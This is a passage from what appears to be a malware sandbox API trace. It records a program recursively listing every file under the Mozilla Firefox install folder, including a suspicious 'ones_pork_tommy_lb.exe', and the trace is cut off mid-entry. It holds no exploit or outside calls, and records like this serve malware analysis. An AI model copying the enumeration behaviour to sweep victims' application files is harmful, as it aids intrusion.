Firefox\\nssckbi.dll" [0119.275] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.275] lstrcmpW (lpString1="nssdbm3.chk", lpString2=".") returned 1 [0119.275] lstrcmpW (lpString1="nssdbm3.chk", lpString2="..") returned 1 [0119.275] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.275] lstrlenW (lpString="nssdbm3.chk") returned 11 [0119.275] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssdbm3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" [0119.275] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned 50 [0119.275] lstrcpyW (in: lpString1=0x24a4640, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" [0119.275] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.275] lstrcmpW (lpString1="nssdbm3.dll", lpString2=".") returned 1 [0119.275] lstrcmpW (lpString1="nssdbm3.dll", lpString2="..") returned 1 [0119.275] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.275] lstrlenW (lpString="nssdbm3.dll") returned 11 [0119.275] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssdbm3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" [0119.275] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned 50 [0119.275] lstrcpyW (in: lpString1=0x24a46b0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" [0119.275] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.275] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0119.275] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0119.275] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.275] lstrlenW (lpString="omni.ja") returned 7 [0119.275] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" [0119.275] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned 46 [0119.275] lstrcpyW (in: lpString1=0x24a54d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" [0119.275] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.275] lstrcmpW (lpString1="ones_pork_tommy_lb.exe", lpString2=".") returned 1 [0119.275] lstrcmpW (lpString1="ones_pork_tommy_lb.exe", lpString2="..") returned 1 [0119.275] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.275] lstrlenW (lpString="ones_pork_tommy_lb.exe") returned 22 [0119.276] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="ones_pork_tommy_lb.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" [0119.276] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned 61 [0119.276] lstrcpyW (in: lpString1=0x24a2100, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" [0119.276] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.276] lstrcmpW (lpString1="platform.ini", lpString2=".") returned 1 [0119.276] lstrcmpW (lpString1="platform.ini", lpString2="..") returned 1 [0119.276] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.276] lstrlenW (lpString="platform.ini") returned 12 [0119.276] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="platform.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" [0119.276] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned 51 [0119.276] lstrcpyW (in: lpString1=0x24a4720, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" [0119.276] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.276] lstrcmpW (lpString1="plugin-container.exe", lpString2=".") returned 1 [0119.276] lstrcmpW (lpString1="plugin-container.exe", lpString2="..") returned 1 [0119.276] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.276] lstrlenW (lpString="plugin-container.exe") returned 20 [0119.276] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="plugin-container.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" [0119.276] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned 59 [0119.276] lstrcpyW (in: lpString1=0x24a5538, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" [0119.276] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.276] lstrcmpW (lpString1="plugin-hang-ui.exe", lpString2=".") returned 1 [0119.276] lstrcmpW (lpString1="plugin-hang-ui.exe", lpString2="..") returned 1 [0119.276] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.276] lstrlenW (lpString="plugin-hang-ui.exe") returned 18 [0119.276] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="plugin-hang-ui.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" [0119.276] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned 57 [0119.276] lstrcpyW (in: lpString1=0x24a55b8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" [0119.276] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.276] lstrcmpW (lpString1="precomplete", lpString2=".") returned 1 [0119.276] lstrcmpW (lpString1="precomplete", lpString2="..") returned 1 [0119.276] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.276] lstrlenW (lpString="precomplete") returned 11 [0119.276] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="precomplete" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" [0119.276] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned 50 [0119.276] lstrcpyW (in: lpString1=0x24a4790, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete") returned="c:\\Program Files (x86)\\Mozilla Firefox\\precomplete" [0119.276] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.276] lstrcmpW (lpString1="removed-files", lpString2=".") returned 1 [0119.276] lstrcmpW (lpString1="removed-files", lpString2="..") returned 1 [0119.276] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.276] lstrlenW (lpString="removed-files") returned 13 [0119.276] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="removed-files" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" [0119.276] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned 52 [0119.276] lstrcpyW (in: lpString1=0x24a0a38, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files") returned="c:\\Program Files (x86)\\Mozilla Firefox\\removed-files" [0119.276] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.276] lstrcmpW (lpString1="softokn3.chk", lpString2=".") returned 1 [0119.276] lstrcmpW (lpString1="softokn3.chk", lpString2="..") returned 1 [0119.276] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.276] lstrlenW (lpString="softokn3.chk") returned 12 [0119.276] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="softokn3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" [0119.276] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned 51 [0119.277] lstrcpyW (in: lpString1=0x24a4800, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.chk" [0119.277] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.277] lstrcmpW (lpString1="softokn3.dll", lpString2=".") returned 1 [0119.277] lstrcmpW (lpString1="softokn3.dll", lpString2="..") returned 1 [0119.277] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.277] lstrlenW (lpString="softokn3.dll") returned 12 [0119.277] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="softokn3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" [0119.277] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned 51 [0119.277] lstrcpyW (in: lpString1=0x24a4870, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" [0119.277] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.277] lstrcmpW (lpString1="uninstall", lpString2=".") returned 1 [0119.277] lstrcmpW (lpString1="uninstall", lpString2="..") returned 1 [0119.277] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.277] lstrlenW (lpString="uninstall") returned 9 [0119.277] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="uninstall" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall" [0119.277] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\" [0119.277] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0119.277] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*" [0119.277] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0119.277] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0119.277] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.277] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0119.277] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0119.277] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.277] lstrcmpW (lpString1="helper.exe", lpString2=".") returned 1 [0119.277] lstrcmpW (lpString1="helper.exe", lpString2="..") returned 1 [0119.277] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0119.277] lstrlenW (lpString="helper.exe") returned 10 [0119.277] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="helper.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" [0119.277] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned 59 [0119.277] lstrcpyW (in: lpString1=0x24a5638, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" [0119.277] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.277] lstrcmpW (lpString1="shortcuts_log.ini", lpString2=".") returned 1 [0119.277] lstrcmpW (lpString1="shortcuts_log.ini", lpString2="..") returned 1 [0119.277] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0119.277] lstrlenW (lpString="shortcuts_log.ini") returned 17 [0119.277] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="shortcuts_log.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" [0119.278] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned 66 [0119.278] lstrcpyW (in: lpString1=0x24a56b8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" [0119.278] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.278] lstrcmpW (lpString1="uninstall.log", lpString2=".") returned 1 [0119.278] lstrcmpW (lpString1="uninstall.log", lpString2="..") returned 1 [0119.278] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0119.278] lstrlenW (lpString="uninstall.log") returned 13 [0119.278] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="uninstall.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" [0119.278] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned 62 [0119.278] lstrcpyW (in: lpString1=0x24a2188, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" [0119.278] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0119.278] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0119.278] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.278] lstrcmpW (lpString1="update-settings.ini", lpString2=".") returned 1 [0119.278] lstrcmpW (lpString1="update-settings.ini", lpString2="..") returned 1 [0119.278] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.278] lstrlenW (lpString="update-settings.ini") returned 19 [0119.278] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="update-settings.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" [0119.278] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned 58 [0119.278] lstrcpyW (in: lpString1=0x24a5748, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" [0119.278] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.278] lstrcmpW (lpString1="updater.exe", lpString2=".") returned 1 [0119.278] lstrcmpW (lpString1="updater.exe", lpString2="..") returned 1 [0119.278] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.278] lstrlenW (lpString="updater.exe") returned 11 [0119.278] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="updater.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" [0119.278] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned 50 [0119.278] lstrcpyW (in: lpString1=0x24a48e0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" [0119.278] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.278] lstrcmpW (lpString1="updater.ini", lpString2=".") returned 1 [0119.278] lstrcmpW (lpString1="updater.ini", lpString2="..") returned 1 [0119.278] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.278] lstrlenW (lpString="updater.ini") returned 11 [0119.278] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" [0119.278] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned 50 [0119.278] lstrcpyW (in: lpString1=0x24a4950, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" [0119.278] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.278] lstrcmpW (lpString1="webapp-uninstaller.exe", lpString2=".") returned 1 [0119.278] lstrcmpW (lpString1="webapp-uninstaller.exe", lpString2="..") returned 1 [0119.278] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.278] lstrlenW (lpString="webapp-uninstaller.exe") returned 22 [0119.278] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapp-uninstaller.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" [0119.278] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned 61 [0119.278] lstrcpyW (in: lpString1=0x24a2210, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" [0119.278] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.278] lstrcmpW (lpString1="webapprt", lpString2=".") returned 1 [0119.278] lstrcmpW (lpString1="webapprt", lpString2="..") returned 1 [0119.279] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.279] lstrlenW (lpString="webapprt") returned 8 [0119.279] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapprt" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt" [0119.279] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\" [0119.279] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0119.279] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*" [0119.279] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0119.331] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0119.331] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.331] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0119.331] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0119.331] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.331] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0119.331] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0119.331] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0119.331] lstrlenW (lpString="omni.ja") returned 7 [0119.331] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" [0119.331] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned 55 [0119.331] lstrcpyW (in: lpString1=0x24a0ab0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" [0119.331] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0119.331] lstrcmpW (lpString1="webapprt.ini", lpString2=".") returned 1 [0119.331] lstrcmpW (lpString1="webapprt.ini", lpString2="..") returned 1 [0119.331] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0119.331] lstrlenW (lpString="webapprt.ini") returned 12 [0119.331] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="webapprt.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" [0119.331] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned 60 [0119.331] lstrcpyW (in: lpString1=0x24a2298, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" [0119.331] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0119.331] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0119.332] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.332] lstrcmpW (lpString1="webapprt-stub.exe", lpString2=".") returned 1 [0119.332] lstrcmpW (lpString1="webapprt-stub.exe", lpString2="..") returned 1 [0119.332] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.332] lstrlenW (lpString="webapprt-stub.exe") returned 17 [0119.332] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapprt-stub.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" [0119.332] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned 56 [0119.332] lstrcpyW (in: lpString1=0x24a57c8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" [0119.332] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0119.332] lstrcmpW (lpString1="xul.dll", lpString2=".") returned 1 [0119.332] lstrcmpW (lpString1="xul.dll", lpString2="..") returned 1 [0119.332] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0119.332] lstrlenW (lpString="xul.dll") returned 7 [0119.332] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="xul.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" [0119.332] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned 46 [0119.332] lstrcpyW (in: lpString1=0x24a5848, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" [0119.332] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0119.332] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0119.332] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0119.332] lstrcmpW (lpString1="Mozilla Maintenance Service", lpString2=".") returned 1 [0119.332] lstrcmpW (lpString1="Mozilla Maintenance Service", lpString2="..") returned 1 [0119.332] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0119.332] lstrlenW (lpString="Mozilla Maintenance Service") returned 27 [0119.332] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Mozilla Maintenance Service" | out: lpString1="c:\\Program Files 